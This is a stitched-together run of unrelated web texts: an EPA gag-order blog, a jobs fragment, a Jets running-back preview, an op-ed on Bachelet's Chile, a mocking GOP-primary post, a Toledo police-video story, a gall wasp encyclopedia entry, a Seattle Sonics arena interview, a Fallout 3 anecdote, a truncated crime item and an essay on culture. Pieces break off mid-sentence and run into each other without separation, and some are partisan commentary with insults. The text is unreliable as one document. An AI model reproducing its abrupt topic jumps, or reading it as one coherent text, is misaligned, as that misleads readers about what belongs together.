Less than a week after the inauguration, the Trump administration has already gagged employees at two federal agencies. Memos obtained by various media outlets show that scientists at the Environmental Protection Agency and Department of Agriculture are now blocked from communicating with the public and the press. At the EPA, whose grants and contract budget have also been frozen, employees are not allowed to talk about this change to reporters or on social media. The EPA is responsible for passing and upholding regulations on issues such as clean air and water and the carbon emissions responsible for global warming. The nominee for EPA head, Scott Pruitt, has made a career out of suing the EPA and trying to weaken its environmental regulations. Scientists at the research division of the US Department of Agriculture are no longer allowed to communicate with the public about taxpayer-funded research. In general, the USDA is less politically sensitive than the EPA, though it does do some research into genetically modified food and pesticides. That said, it has used research money to investigate how to cut down methane, a greenhouse gas that is a major cause of climate change
Trump has also order the EPA to take down it’s climate change page which, as I type this, they haven’t done. That page includes a detailed report on the impact of climate change on human health.
With climate change, the frequency, severity, duration, and location of weather and climate phenomena—like rising temperatures, heavy rains and droughts, and some other kinds of severe weather—are changing. This means that areas already experiencing health-threatening weather and climate phenomena, such as severe heat or hurricanes, are likely to experience worsening impacts, such as higher temperatures and increased storm intensity, rainfall rates, and storm surge. It also means that some locations will experience new climate-related health threats. For example, areas previously unaffected by toxic algal blooms or waterborne diseases because of cooler water temperatures may face these hazards in the future as increasing water temperatures allow the organisms that cause these health risks to thrive. Even areas that currently experience these health threats may see a shift in the timing of the seasons that pose the greatest risk to human health. Climate change can therefore affect human health in two main ways: first, by changing the severity or frequency of health problems that are already affected by climate or weather factors; and second, by creating unprecedented or unanticipated health problems or health threats in places where they have not previously occurred.
This is just a quick sampling of what the freeze has stopped in it’s tracks.
So the lead paint in the Bay Area, the molasses spill in Honolulu and the engines and pesticides problem in Southern California — are not going to be resolved. At least not right now. EPA manages thousands of grants around the nation that both sample and test for environmental contamination, but also handles cleanups like the $100 Million that was approved for the lead in the Flint Michigan water system.
WASHINGTON — Michigan’s U.S. senators and a key congressman want to know if a reported freeze on all new Environmental Protection Agency grants and contracts under the Trump administration will impact $100 million approved late last year to help Flint in the wake of its water crisis.,,, At Tuesday’s press briefing, White House Press Secretary Sean Spicer said he had seen the reports but did not know if they were true and was looking into it. Meanwhile, media contacts at the EPA did not respond to questions from the Free Press about whether the reported freeze could impact efforts in Flint, where high lead levels were detected after the city switched water |
talking about job growth averaging less than 100,000 a month last year, not enough to keep up with population growth or make a significant dent in unemployment.
But experts say the low-wage jobs that have been added are also a serious problem — putting downward pressure on wages and keeping consumer spending in check.
“Growth has been concentrated in mid-wage and lower-wage industries. By contrast, higher-wage industries showed weak growth and even net losses,” said Annette Bernhardt, policy co-director for the National Employment Project. She said that growth has been far more unbalanced than during previous job recoveries.
Bernhardt’s analysis of the first seven months of job growth in 2010 found that 76 percent of jobs created were in low- to mid-wage industries — those earning between $8.92 to $15 an hour, on average, well below the national average hourly wage of $22.60 in 2010.
She said a preliminary analysis of full-year results suggests the same trend is still holding true, although she cautioned that final employment figures are needed.
But the biggest problem is continued job losses in higher-wage industries severely hit by the bursting of the housing bubble — construction and financial services. Recoveries in those sectors helped lead the economy out of earlier downturns, but they’re still suffering more than a year and a half after the official end of the Great Recession.The New York Jets haven’t had a flashy off-season but that doesn’t mean it hasn’t been productive. There has been measured progress at a variety of positions but the most notable infusion of talent has occurred at running back. Plodding Shonn Greene was wisely allowed to leave in free agency and in his place the Jets added a duo of backs with immensely high potential, Chris Ivory and Mike Goodson. We’ve sung the praises of both here at TOJ but we wanted to dig a little deeper into the reasons for our excitement, so we sought out Pro Football Focus and a handful of writers who previously covered Ivory and Goodson. Let’s take a closer look…
Ivory projects to be the starting back so we’ll begin with him. In his rookie year (2010), Ivory climbed to the top of a New Orleans Saints depth chart ravaged by injuries and burst on the scene with 137 carries for 716 yards, at a whopping 5.2 yards per carry. Unfortunately, he ended the season on the injured reserve with a foot problem which carried through into the following year as he started the season on the PUP list. After being activated, Ivory had 79 carries for 374 yards at 4.7 yards per carry. Last year, his role diminished further as he only had 40 carries but still managed to rack up 217 yards at 5.4 yards per carry.
A violent, physical runner with the ability and speed to rip off big plays (6 career runs of 25 yards or more), Ivory has shown starter’s talent since entering the league but was perpetually in a crowded backfield in New Orleans. The negatives with Ivory are his lack of experience in the passing game (he only has 3 career NFL receptions and was rarely used on passing downs by the Saints) and his durability. He was banged up throughout his college year and had struggled with injuries throughout his 1st and 2nd season in New Orleans. Yet, if Ivory can stay on the field there is no reason he shouldn’t be highly productive behind a good run blocking Jets offensive line.
I reached out to Sam Monson, Senior Analyst at Pro Football Focus about Ivory’s prospects with the Jets and he had the following to say –
Chris Ivory has always been at or near the top of our Elusive Rating, which combines missed tackles forced per touch and yards per carry after contact, but he rarely if ever makes the threshold in terms of touches to be included in the final study lists.
I think there is little to no doubt that Ivory is one of the most gifted natural runners in the league. The question mark with him is can he be on the field for passing downs. The Saints either didn’t think so or weren’t willing to give him the snaps over guys like Sproles, Thomas and Ingram, because almost all of his snaps were running snaps. So as a featured runner the Jets need to find out if he can pass block and if he can be a viable receiver out of the backfield if they intend to use him as a complete back, but even if they just expand the role he had on the Saints he should be a HUGE upgrade over Greene.
If you were thinking of rolling your eyes at the “one of the most gifted natural runners in the league” comment, watch the run starting at 31 seconds in this video package from last season.
I also briefly spoke with Chris Roling, the managing editor of Who Dat Dish which covers the New Orleans Saints. When asked if Ivory had the traits of a lead back and how Saints fans felt about trading him, Roling said –
He has everything you look for in a workhorse back, especially as a tough runner. His only issue is he has battled with injuries throughout his career. It’s hard to tell how his body will hold up as the featured back thanks to his physical running style
Ivory wasn’t that productive with the team because he was the 4th on the depth chart. He also isn’t very good at catching passes, which is a big no-no in the Saints offense. His lack of productivity is part of the reason the team was willing to part with him. The fan base is a bit split on the trade, but most realize it was a smart move to get another pick to put toward rebuilding the defense.
Ivory does still need to prove himself as a lead back in the NFL but he will be given that opportunity in New York and provides a substantially higher ceiling and more running talent than Shonn Greene. He won’t be asked to carry the load alone though and may not need to have a large role on passing downs thanks to the Jets signing of Mike Goodson.
We broke down tape on Goodson here. Similar to Ivory, he has been stuck in crowded backfields his whole career. After minimal use during his rookie season in Carolina, Goodson received extended work in 2010 due to injuries on the Panthers and finished with 452 yards on 103 carries, for 4.4 yards per carry. He also racked up 40 receptions for 310 yards that season. After barely being used in 2011 behind DeAngelo Williams and Jonathan Stewart, he was traded to Oakland. Last year for the Raiders, he had 35 carries for 221 yards (6.3 yards per carry) and 16 receptions for 195 yards, including this 64 yard touchdown against the Miami Dolphins.
Despite only having 51 touches last season in Oakland, Goodson had four plays over forty yards. In 2010, there were two games he received 20 carries or more and in both games he went over 100 yards. Goodson did have some fumbling issues in Carolina and many question whether he has the size to handle extended work over the course of a season. Yet, with Ivory in the fold, Goodson won’t need to be a workhorse back in New York. When discussing Goodson with Monson from PFF, he commented
Mike Goodson has a wonderful ability to make people miss, but it can come at the expense of just ‘hitting it up in there’ and getting three yards. Think of him as a very poor man’s Barry Sanders in that regard. (Behind Ivory) expect Goodson to act as more of a 3rd down back, taking the passing plays, the draw runs on passing downs and playing pass protector.
I also spoke with Levi Damien of Silver and Black Pride which covers the Oakland Raiders about Goodson, his time with the Raiders and thoughts on his potential with the Jets
He was very good when he played, as evidenced by his 6.3 yards per carry average. He started out slow because of a big hit he took in camp that had him taken to the hospital in an ambulance. Once he got his confidence back, he was great. He was known for having fumbling problems when he came to the Raiders but he seemed to have fixed that issue. Raiders fans were a bit frustrated to see him go, yes. He was a great change up scat back for Darren McFadden. The one thing is, he is a great fit for the zone blocking scheme which the Raiders ran last season, but the team has switched back to power blocking so the Raiders not making a push to bring him back may have had something to do with them thinking he wasn’t a fit for their new offense.
He has the skill set and talent (to be a 3rd down back and 1B option) but he may not have the durability. He is very small both in stature and in bulk which limits the punishment he can take. I see him as always having a complementary role in an offense much like Darren Sproles has had his entire career. He will offer a burst of speed an energy off the bench or in a two back set.
Included for further reference on the two backs is a table sent over by Ben Stockwell from Pro Football Focus, breaking down the reps they took on the field and their elusive rating. (For further information on the elusive rating click here)
As you can see, the potential of a Ivory/Goodson duo likely has new offensive coordinator Marty Mornhinweg ecstatic. If healthy, Ivory should be a bell-cow back taking the bulk of carries on early downs, while Goodson is the third down back and contributes on passing downs and for certain outside handoffs or stretch plays. In terms of talent, both exceed Bilal Powell substantially who should fall into the role of a swing backup. Monson believed that Powell “probably would spell Ivory rather than Goodson when he needs a rest on early downs” which is likely true, although Powell did get third down back experience last year and could fill in for Goodson if needed. As for Joe McKnight, it wouldn’t be shocking to see him not make the final 53 man roster especially with the Jets now kicking the tires on Josh Cribbs, who would bump him out of his kick return role.
With the additions of Ivory and Goodson and a quality run blocking offensive line in place, the Jets could very well have their best rushing attack since 2009. A strong running game coupled with a standard Rex Ryan defense could allow the Jets to be more competitive than many expect them to in 2012.
RelatedThroughout the 1980s Milton Friedman insisted that Chile had to reintroduce political freedom if it wanted to preserve the newly created free market institutions. In the long run, authoritarianism, believed Friedman, was incompatible with economic liberty. But Friedman was also very skeptical about Chile´s future once democracy was reintroduced. He feared that the political class could use the democratic process to increase the size of government once again and thus severely undermine economic liberty. Twenty-five years after the reintroduction of democracy, Friedman’s concerns seemed to have come true.
Only five months have elapsed since the socialist government of Michelle Bachelet assumed power in Chile and the country´s economic growth rate has plummeted. The central cause for the dramatic decline in economic activity has been the government’s plan of making a tabula rasa with the free market institutions that had enabled Chile to become the most prosperous country in Latin America.
One of the most harmful proposals is a massive tax reform, already approved, that will dramatically raise the corporate tax in Chile leaving it above the OECD average. In addition, the tax reform, which was strongly opposed by associations of entrepreneurs and had decreasing support among the population, grants unprecedented discretionary powers over taxpayers to tax collectors.
Another target of Bachelet´s radical socialist program is the emblematic Chilean pension system. As is widely known, Chile was the first country in the world to introduce a privately managed social security system based on personal capitalization accounts. Under this scheme, each month Chilean workers deposit a percentage of their income in an account in their name, which is managed by private companies called AFP (Administradoras de Fondos de Pensiones). Thus when workers retire they do not depend on other workers’ paying into the system to get a pension. Rather, they receive their own money adjusted by inflation plus interest.
Unlike the Bismarckean pay-as-you-go systems that exist in most developed countries, the Chilean system is fully funded. Moreover, the accumulation of capital that the AFPs have brought about has enabled the emergence of a capital market, which in turn has made it possible to invest the workers’ savings in Chile. This has decisively contributed to economic growth and to the creation of employment opportunities for Chileans. These facts, recognized in the specialized literature, are fully scorned by the current administration.
Determined to bring the state back to the social security business, Ms. Bachelet and her ministers have already developed a plan to create a state-run pension company. As is easy to foresee, this will probably create unfair competition to the current private administrators which would not be able to match the commissions charged by an enterprise subsidized by the taxpayers’ money.
In other words, there is a real danger of the new state owned funds administrator becoming an existential threat for the most important of the free market reforms made in Chile in the 1980s. Other reforms of Bachelet´s socialist program include putting an end to the private health care system in its current form by socializing all payments that workers currently make for their health insurance.
This would mean an expropriation of the workers’ payments into their insurance companies, which would be transferred directly to the State’s coffers. As many economists have warned, the consequences of this reform would be disastrous. But there is more.
Among other reforms, the current administration plans to make a substantial transformation of labor laws, which would dramatically empower unions and affect productivity; an educational reform that would end the current voucher system creating a one-size-fits-all state-run educational one; and Argentinian style free higher education for everyone.
In addition, the leftwing political parties are planning to create an entirely new constitution that has to start, in former socialist president Ricardo Lagos’ words, “from a blank slate.” As the same Lagos recently declared, the new Constitution should put an end to the State’s subsidiarity principle that underpins the Constitution currently in force. According to this principle, the State is allowed to intervene only when private actors fail to solve urgent social problems.
In the new socialist constitution, the government would become the central driver of social and economic progress, a model that Chile had already tried out from the 1930s onwards and which ended disastrously in 1973. Interestingly enough, President Bachelet has recently declared that she shared the same goals as former Marxist president Salvador Allende who ran the country from 1971 to 1973.
Unlike Allende, Ms. Bachelet is not seeking to make Chile a communist regime. But it is no secret that to a large extent she endorses an old-fashioned statist philosophy. And there is little doubt that if her administration gets away with its project, Chile will cease to be a role model for Latin America. It remains to be seen whether those who want to preserve the path of progress followed by Chile in the last decades will be able to save the country from an Argentinian type of institutional development. For the time being, the future looks pretty grim.“Oh Craig Holland Dixon… why is it that we cannot have nice things?”
Well, it’s quite simple my dear friends.
Newt Gingrich is now leading the pack. I thought he was supposed to stay sealed away in the 90s for all eternity like those bad guys in “Superman II”. What happened?
Well, it appears someone let Newt out of the Phantom Zone. Additionally, it appears that voters of the Republican base forgot about all the lobbying and lying Mr. Gingrich is known for.
In case anyone forgot, this is the same asshole that refers to himself as a ‘historian’ for taking a bunch of tax-payer money via Freddie Mac. Echoing what Conor Friedersdorf over at The Atlantic has said, if this guy gets the GOP nod, that’s lights out for the Tea Party. Done. Curtains. Thanks for playing.
[Gingrich] is the epitome of the Inside the Beltway insider, and not only because of his long stint in Congress. After retiring, he profited lavishly off connections he made on the taxpayer dime, earning hundreds of thousands of dollars influence-pedaling. Most famously, he got $1.6 million from Freddie Mac, the very entity that many conservatives regard as most culpable for the financial crisis. And then he had the temerity to insist that he was paid as “a historian,” an explanation so transparently farcical that it can justifiably be seen as an insult to the intelligence of GOP primary voters. As if supporting such a man weren’t incoherent enough already, a movement that valorizes Joe the Plumber, family values and hockey moms is now rallying behind a long-winded former academic turned career politician with an affinity for private planes, chauffeurs, and buying Tiffany and Co. jewelry for his third wife. It’s as if Kanye West wrote a politician into his last album.
And yet here he is at the top of the GOP dog RINO pile.
So, remembering your classical education in public school, I’d like you to recall Juvenal who once said (to paraphrase) that deteriorating empires eventually come to be defined by bread and circuses. Just kidding, I know public school wouldn’t ever teach anything of substance like that.
But, if it be so, the GOP primary race has the circus on lock, even without Gingrich.
On Friday, Herman Cain suspended his campaign for presidency, amid allegations of a 13-year-affair. Or as The Onion put it, ”Rumors of Extramarital Affair End Campaign of Presidential Candidate Who Didn’t Know China Has Nuclear Weapons.” It appears even The Onion can no longer compete with the comedy of the actual campaigns of this election cycle; they’re just running with the raw material.
Perhaps there’s another reason Cain is backing out. Maybe he ran out of quotes from “Pokémon: The Movie.” Cain has admitted to using a quotation from the animated children’s film at least four times during his campaign.
Gary Johnson will continue to get nary a mention, and seems to want to marginalize himself further by talking to the libertarian party.
Donald Trump is moderating a gameshow GOP debate which Jon Huntsman and Ron Paul have refused to attend, prompting the following response from Donald Trump’s hair:
Few people take Ron Paul seriously and many of his views and presentation make him a clown-like candidate… I am glad he and Jon Huntsman, who has inconsequential poll numbers or a chance of winning, will not be attending the debate and wasting the time of the viewers who are trying very hard to make a very important decision…”
“Clown-like.” I’d like to reiterate that Herman Cain, former front-runner, was peppering his campaign rhetoric with lines from an animated feature based on a children’s video-game. He also didn’t appear to know China had nuclear weapons. Or what was going on in Libya. Or that there was about to be an economic catastrophe in Fall of 2008. Clown-like Ron Paul knew, how about that!
Rick Perry did this. Michelle Bachmann’s clinic claims to ‘pray the gay away‘.
But a Reality Television star with a dead animal atop his skull is calling Ron Paul the clown-candidate.
Perhaps worst of all, Rick Santorum is still Rick Santorum, and that’s basically bad enough on its own.
This is the state of the GOP. A RINO-filled circus, with snake oil salesmen like Trump to provide the sideshow… but the elephants are hard to come by. Come one, come all, to the greatest show on Earth!
AdvertisementsThere are allegations of police brutality after a Toledo police officer allegedly hit a handcuffed suspect in the head and it’s all caught on camera.
"It appears to me from looking at this video that it's excessive force and completely inappropriate,” says Phil Stinson, a criminologist at Bowling Green State University.
This comes one month after a state panel held a series of forums on improving relationships, easing tensions, and building trust.
The arrest happened on Wednesday in East Toledo on the 900 block of Berry Street.
13abc contacted Toledo police to get their reaction to the video.
Public Information Officer Sgt. Joe Heffernan said it was the first time he saw the footage of the arrest. Heffernan later called 13abc back saying he cannot comment because the department is now launching an internal investigation.
"Police brutality captured at its finest,” says Brad Bollinger, the neighbor who shot the cell phone video from the window of his upstairs bedroom.
The suspect’s sister tells 13abc that police were executing warrants for her brother’s arrest. The suspect is 20-year-old Raymond Rober.
Rober’s sister Amanda tells 13abc that at first her brother ran from police, but then he surrendered as his friends on the sidewalk also took video.
"As he leans his head down, he's adjusting the handcuffs on the back of him because they're probably uncomfortable and the lady officer strikes him in the side of the head,” says Bollinger. "It's a coward move. It's a thing of complete power. She knows that she has him and he has no where to go, so she took complete advantage of it. It's a sucker move."
"It seems to me, based on the other officers conduct, he didn't do something that justified being hit in any capacity,” says Phil Stinson, a criminologist at Bowling Green State University. “Certainly not while being handcuffed."
Stinson is a former police officer who has been studying police crimes for ten years.
His project called Police Integrity Lost is funded by the U.S. Department of Justice.
"That type of excessive force is typically in a situation where an officer is completely frustrated with the situation that just unfolded,” says Stinson.
Stinson says it may be a criminal offense because when a suspect is in handcuffs … "You should be protected from the police from being assaulted, not assaulted by the police,” says Stinson. “But it's frustration. Frustration on the officer's part… We don’t really see the context of what unfolded in the seconds and minutes before the video that was shot here by a bystander.”
Meanwhile, Rober is in the Lucas County Jail on charges of resisting arrest, obstructing official business, aggravated menacing, under-age possession of alcohol, assault, disorderly conduct, criminal trespassing, and domestic violence.
Bollinger, the neighbor who shot the video, revealed he has a criminal record. Bollinger is due to go off probation in June for an aggravated robbery four years ago. Bollinger served 18 months in jail.Gall wasps, also called gallflies, are a family (Cynipidae) in the wasp superfamily Cynipoidea within the suborder Apocrita of the order Hymenoptera. Their common name comes from the galls they induce on plants for larval development. About 1300 species of this generally very small creature (1–8 mm) are known worldwide,[1] with about 360 species of 36 different genera in Europe and some 800 species in North America.
Features [ edit ]
Like all Apocrita, gall wasps have a distinctive body shape, the so-called wasp waist. The first abdominal tergum (the propodeum) is conjoined with the thorax, while the second abdominal segment forms a sort of shaft, the petiole. The petiole connects with the gaster, which is the functional abdomen in apocritan wasps, starting with the third abdominal segment proper. Together, the petiole and the gaster form the metasoma, while the thorax and the propodeum make up the mesosoma.
The antennae are straight and consist of two or three segments. In many varieties, the backside of the mesosoma appears longitudinally banded. The wings are typically simply structured. The female's egg-depositing ovipositor is often seen protruding from the tip of the metasoma.
Reproduction and development [ edit ]
The reproduction of the gall wasp is partly parthenogenesis, in which a male is completely unnecessary, and partly two-sex propagation.[2] With most species an alternation of generations occurs, with one two-sex generation and one parthenogenic generation annually, whereas some species produce very few males and reproduce only by parthenogenesis.[2] This process differentiates the various generations primarily in their appearance and the form of the plant galls they induce.
The larvae of most gall wasps develop in characteristic plant galls they induce themselves, but many species are also inquilines of other gall wasps, such as those of the genus Synergus.
The plant galls mostly develop directly after the female insect lays the eggs. The inducement for the gall formation is largely unknown; discussion speculates as to chemical, mechanical, and viral triggers. The hatching larvae nourish themselves with the nutritive tissue of the galls, in which they are otherwise well-protected from external environmental effects. The host plants, and the size and shape of the galls are specific to the majority of gall wasps, with about 70% of the known species parasitizing various types of oak trees. Galls can be found on nearly all parts of such trees, including the leaves, buds, branches, and roots. Other species of gall wasps live in eucalyptus trees, rose bushes or maple trees, as well as many herbs. Frequently, the determination of the species is much easier through observation of the galls produced rather than the insect itself.
Parasitism [ edit ]
A gall provides the developing gall wasp with a safe refuge for the most vulnerable stage of its life cycle, but many other wasps have found a way to penetrate this defence and parasitise the larva(e) within. Some of these parasitoids use their long, hardened egg-laying tube (ovipositor) to bore into the gall and lay an egg on the helpless gall maker. A bedeguar or robin's pincushions gall, collected before the autumn and kept cool, may result in at least one species of parasitoid emerging instead of the gall maker. These wasps, such as Eurytoma rosae, are beautiful, metallic insects with long ovipositors. These parasitoids may, in turn, be preyed upon by other wasps, hyperparasitoids.[3]
Types [ edit ]
Most species of gall wasps live as gall-formers on oaks. One of the most well-known is the common oak gall wasp (Cynips quercusfolii), which induces characteristic, 2-cm in diameter, spherical galls on the undersides of oak leaves.
These turn reddish in the fall and are commonly known as oak apples. Light lentiform galls on the undersides of the same leaves are induced by Neuroterus quercusbaccarum; darker ones with bulging edges are formed by Neuroterus numismalis. Also striking are the galls of Cynips longiventris, which likewise can be found on the undersides of leaves, and are recognizable for their spheroidal shape and irregular red streaks. The oak potato gall wasp (Biorrhiza pallida) has round galls that grow to about 4 cm. These are known colloquially as oak potatoes. The latter type of gall is induced by this type of wasp not on the leaves, but on the roots of the oak. On the buds of young oak twigs, one can often find the hard-shelled galls of Andricus kollari and Andricus quercustozae. Galls do not cause significant harm to oak trees.[4]
The galls of the rose gall wasp (Diplolepis rosae) are also distinctive and are known as bedeguars or robin's pincushions. These are found on the shoots of dog roses and have a length of up to 5 cm with red, long-haired outgrowths. Inside the galls are several chambers, which may be occupied by larvae.
Subfamilies [ edit ]
There are two subfamilies, one extinct and one extant:
Genera [ edit ]
Additional information [ edit ]
The galls of several species, especially Mediterranean variants, were once used as tanning agents.
Before his work in human sexuality, Alfred Kinsey was known for his study of gall wasps. [5]
Galls formed on oak trees are one of the main ingredients in iron gall ink.
See also [ edit ]
References [ edit ]
This article is based on a translation of the corresponding article from the German Wikipedia.
Further reading [ edit ]Chris Hansen is a patient man. It’s been just two weeks since the NBA denied his relocation of the Sacramento Kings to Seattle, and he continues to preach patience with a capital “P.”
“I just think that people need to get the bad taste out of their mouth and just move on,” Hansen said of Seattle’s reaction to the NBA’s decision. “Being resentful just doesn’t get you anywhere in life.
“Does it really bother you that bad? Don’t you want basketball back in our city?” Hansen said Tuesday on KJR Sports Radio’s “Dave ‘Softy’ Mahler Show.” “If you want the Sonics back, it’s probably a good time to get over the anger and frustration, and just get back to doing what it takes to show everybody what a great city we are.”
On May 15, the NBA’s Board of Governors voted 22-8 to reject Hansen’s planned purchase of the Kings and their eventual relocation to a new arena in Seattle. Now, having failed in his ownership group’s $625 million bid for the NBA franchise, Hansen is continuing his work on constructing the arena and finding another team for the Emerald City.
A team could come from league expansion or another acquisition and relocation. But Hansen doesn’t know which scenario is most likely; he told Mahler we could know more in a year, after the NBA renegotiates its national television contract.
But no matter what, Hansen said, we won’t have a repeat of the Kings fiasco that kept fans — in both Sacramento and Seattle — on edge for the better part of five months this year.
“We are not going to be in that position again. We’re not going to be going to another city as a predator and trying to wrestle a team away,” Hansen said on KJR. “It’s unfortunate that we found ourselves in that position. It’s not the way we wanted to handle things, and I think it made us all uncomfortable sitting there.
“After everything we’d been through, it kind of made me sick to my stomach. In a way of, like: ‘Just how did I get myself into this position? This isn’t the way this is supposed to go down.'”
How was it supposed to go down? Hansen said that back in January, when he first made a purchase agreement with the Maloofs, the general consensus was that the Kings would leave Sacramento. It was just a question of where. There weren’t any concrete arena plans, there wasn’t a deep-pocketed ownership group interested in keeping the team in the California capital.
But Sacramento Mayor Kevin Johnson changed all that. When he organized an arena project and an ownership group, the NBA chose to advocate for the incumbent, for keeping the Kings in Sacramento. According to some reports, league Commissioner David Stern even helped Johnson find more investors for the Sacramento group.
Hansen, however, doesn’t hold that against the league or Stern. And he doesn’t think Seattleites should, either.
“One thing I do want to clear up is I don’t think that David Stern has it out for Seattle,” Hansen said on the radio. “That’s an important message. I think it was more about keeping the Kings in Sacramento and not having another team relocate that had historically had a good fanbase, than it was about sticking it to Seattle again. That’s a fact.”
Nevertheless, the NBA’s decision was disappointing — for many Seattleites, of course, but also for Hansen and his investment partners, including Microsoft CEO Steve Ballmer and former Sonics executive Wally Walker. The Seattle group put a lot more work into their project than Sacramento did, Hansen said, and to lose out after all that work was frustrating.
Yet Hansen doesn’t want to pursue legal action against the NBA or anyone else. Yes, his Seattle group had a binding contractual agreement with the Maloofs to buy their 65 percent of the Kings, but Hansen doesn’t want to get on the wrong side of the league. Or himself.
“I just don’t think that’s anything we’re interested in. I mean, I’ve never sued anybody in my life and I’m not starting with the NBA,” Hansen said. “Life’s too short. I really believe you can find amicable solutions to things. Do you really think suing the NBA would be the best route to getting a team back here? …
“It’s just a wast of mental energy, and I’d rather spend the time with my kids and doing other things that are important to me in life.”
Raised in Seattle, Hansen is now a hedge-fund manager in San Francisco — and a self-described “49er hater,” by the way. He wants to give back to his hometown and share his love for the Sonics, the NBA team that left in 2008 and became the Oklahoma City Thunder.
And he’s been working for about three years now to set the stage for pro basketball’s return to Seattle.
“I specifically got involved because I took my kids to the (S.F.) Giants’ World Series parade, and my son was the exact same age as I was when I saw the Sonics win the championship in ’79,” Hansen told Mahler. “And I said, somebody’s got to do something. Nothing was happening, and there’s a lot of die-hard people here I knew that felt the same way as me, and somebody just had to take The Man on and go for it.”
That has meant long negotiations with the city of Seattle and King County to develop a “memorandum of understanding,” or MOU, for the private-public funding of a new arena. That has meant the investment of nearly $100 million on property south of the Safeco Field parking garage in Sodo, where Hansen wants the arena built. That has meant talking with NBA owners, league executives, sports consultants, arena architects and just about everyone else imaginable.
That includes discussions with NBA coaching legend Phil Jackson about the vision of the new SuperSonics, Hansen confirmed. And that includes potential partners who might want to bring an NHL hockey team to Seattle, as well.
“I think there’s an interest, a big interest of hockey coming to this market. From a lot of different people,” Hansen said. “I think the league, obviously, views it as a great market. I think there’s potential owners that view it as a great market, too. There are some that we’ve had discussions with and we think we would get a long with, that are the type of people that we could see ourselves being partners with. But it’s just more complicated; it’s much easier if basketball comes first.”
Easier because under the MOU with Seattle and King County, Hansen must secure an NBA team before construction can begin on a new arena. That agreement could be restructured if a hockey team became available first, Hansen said, but the process would go much more smoothly if basketball got the ball rolling.
Right now, the arena project is in the midst of a state-mandated environmental review, or EIS, and Hansen’s group is working with the Seattle Department of Planning and Development on proposed designs. (The public can attend city-hosted presentations on the arena; the next one is scheduled for 5:30 p.m. June 4 at Seattle City Hall.)
“We think we’ll get through the EIS process at the end of the year, and then we’ll probably pay some appeals and (there will) be some things we need to mitigate,” Hansen said. “And we think it will be shovel-ready by this time next year.”
Meanwhile, Hansen is waiting until the NBA Playoffs end to resume talks with the league about potential expansion or the acquisition of a different team. There’s still the matter of a 7 percent chunk of the Kings that Hansen bought through a California bankruptcy court, and he wants to somehow get that piece to the new Sacramento owners. And his Seattle ownership group would still like to get back their $30 million deposit on the Kings from January, he said.
But through the entire process this spring — through meeting after meeting with the NBA — the upshot of Seattle’s loss two weeks ago is that Hansen got to present his master plan to the NBA owners.
“I think we made a good impression with the league and I think we made a great impression with a majority of the owners — not only a great impression of the ownership group, but more importantly just how strong the support is and what a great market this will be for basketball,” Hansen told KJR. “It’s undeniable that this is one of the best basketball markets in the country right now.”
“I continue to believe,” he said, “that all that stuff will pan out in our favor in a fairly short period of time.”
You can listen to Hansen’s entire interview with Mahler on SportsRadioKJR.com.
If you don’t see any photo-caption text, try refreshing the page or using a different Web browser. There is a known issue of captions not showing up for some readers using Internet Explorer. Photo galleries also may not be properly displayed on some mobile devices.
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Visit seattlepi.com for more Seattle news. Contact sports editor Nick Eaton at nickeaton@seattlepi.com or @njeaton.If you're looking for a big name to voice the president in Fallout 3, who would better to get than, well, a former U.S. President. Lev Chapelsky of the Hollywood firm Blindlight tried just that.
"Celebrity acquisition applies not just to celebrity actors but to sports figures, politicians — we've made offers to Bill Clinton for video games and gotten great responses with attorneys who have said, 'The former president will not participate in one of your video game products, thank you very much'," says Chapelsky.
"We appreciated that frankness and candor — you don't get that kind of candor from Creative Artists Agency, frankly. If the answers no, they don't return your call for six months."
Chapelsky wanted to snag Clinton for the very obvious role of the president in Fallout 3. "Wouldn't that have been brilliant? You get to that point in game," he adds, "and you hear that voice in the ether coming from off-camera and you're like, 'I know that guy!'" Yeah, that's Bill Clinton!
Interview: Lev Chapelsky [EDGE Thanks, Komrade Kayce!] [Pic]An illegal alien has been charged with raping and sexually assaulting his 17-year-old stepdaughter to get her pregnant, as he believed it would prevent him from |
les and annoys us. Our brains are not what they once were, not because of age, but because our culture works differently on them and hinders their further development.
Today, we learn in snatches or in brief bites. We don’t settle down to learn comprehensively. We can’t concentrate. Our life is one of incessant interruptions. If I look up a news article on the Web, swarms of ads descend to interrupt, and we spend precious time trying to delete them and move on as even as more continue to appear. The volume of ads are so asphyxiating these days that it isn’t worth the effort to get rid of them, and so I turn them off., annoyed and exasperated.
Worthless Opinions
One of the main villains of modern life is opinion. Popular opinion has replaced thought and reflection. Opinions are the product of ignorant hearsay. All of us see or view something and, without considering what it means, we rush to bray our reactions to anyone who can hear it. But is our reaction valid? Insightful? Useful? Enlightening? Opinions are unstable; they become outmoded, lacking in pertinence or validity and over time, are discarded. An opinion is the prisoner of the moment, a prisoner of the thoughtless and automatic the commonplace. For every thousand people cry a thing up only a pitiable few cry it down and their voices are drowned out.
We suffer from an increasingly lack of sound judgment. The recent eclipse of Aag. 21 was a good example.. Appalling. It was a craze like the Salem or tulip craze, a classic example of groupthink. The event was hyped so much it became stupefying, people acting as if they’d been hypnotized. Somehow an eclipse was going to reconcile all the evils of humanity and human nature. It was going to bestow tolerance, charity, forgiveness, and love. But how cold the movements of the moon on the sun achieve this?
Those things were beyond its power. The idea was fatuous.
In the end, my wife and I sat in the driveway and we put sun proof glasses on and stared up like owls. The next day did I observe any more love or concern or compassion or charity in people than I did before? Of course not. What would cause such a vast improvement? The eclipse was a fad, a mere craze like Pokémon go. 9994
Isolation
Isolation plays a large part in retarding study. The pleasure of learning is a noble pleasure, and like all good things, sharing what we learn with others increases its value. We are social creatures, and it is part of our nature to share the excellent. But most of the time we lack people to share the joy of our discoveries with. We are victims of the addicts of the mental lightweights who confine their reading to New York Times’ bestsellers, people who lack the means to judge the merit of what they’re reading, who lack the talent to articulate its virtues. They lack the standards of taste and the critical spirit required to evaluate them correctly.
Isolation has killed a lot of thinkers. I remember How Hume’s book on Reelections on Human Nature fell absolutely flat after it was published yet, over time, became a classic. But popularity can kill as well. We think of how Mozart’s amazing genius wowed and fascinated his audiences and followers and yet his fame resulted in him buried in an unmarked grave for the poor. Crowds are dismayingly fickle. Their interest lacks stamina.
Apparently it is the task of modern culture is to herd all of us on well traveled roads, never taking the road less traveled. Few of us explore and the few who do are not met with enthusiasm or praise or appreciation but by polite indifference mainly because your knowledge is not current or popular.
Popularity is a trap. It retains a viselike grip on the ignorant. It is sinister because it is addictive. If something is popular and makes money, then it must be successful, and if successful, it must be superior. No one asks the fans of the popular why they admire as they do. Because they assume that everyone else thinks just as they do and everyone else suffers from the same mediocre qualities of taste and narrowness of mind.
